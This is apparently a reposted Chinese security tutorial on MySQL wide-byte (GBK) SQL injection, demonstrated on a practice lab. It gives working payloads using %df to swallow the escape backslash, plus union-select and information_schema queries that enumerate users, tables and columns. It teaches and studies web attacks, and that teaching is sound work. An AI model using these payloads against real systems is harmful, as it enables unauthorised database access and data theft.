宽字符是指多个字节宽度的编码,如UNICODE、GBK、BIG5等。转义函数在对这些编码进行转义时会丢掉转义字符“”(编码后即将它转换为%5C),而刚好在前面跟上“%df”即“%df%5C“,解码是一个汉字”運“,这样就可以成功闭合转义符””,所以产生宽字节注入。
01
宽字节注入_举例
1.红色箭头表示服务器通过POST请求把用户的值参数传到$name
2.黄色方框表示传入数据库的查询语句
3.蓝色箭头表示设置的编码
"select id,email from member where username='kobe''"
这种情况就可以通过用%df把转义符合并掉来绕过限制
思路整理:
输入%df'后,传到服务器被转义后%df',再通过编码处理即%df%5C%27,在GBK中,%df%5C为一个汉字”運“,带入sql即運'
select id,email from member where username='kobe運''
' or 1=1# df
select id,email from member where username='kobe運' or 1=1#'
02
宽字节注入_获取基本信息
查看当前用户和数据库
kobe%df' union select user(),database()#
由此可见payload只要在黄色区间内,在足够权限和符合语句逻辑状态下可以任意执行sql语句
👇常用查库语句👇
确定当前字段
order by 3
查询指定库所有数据表
union select table_name,2,3 from information_schema.tables where (table_schema='数据库名')
查询指定表的所有表头
union select column_name,2,3 from information_schema.columns where (table_name="表名")
查看指定表头内容
union select 表头1,2,表头2 from 表名
注释:注入方法与数字型注入基本相同,只要在闭合与注释符两者区间内执行mysql命令即可利用该漏洞,从这部分开始,后续不做详细介绍与演示。
本文始发于微信公众号(Khan安全攻防实验室):Mysql宽字节手工注入
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论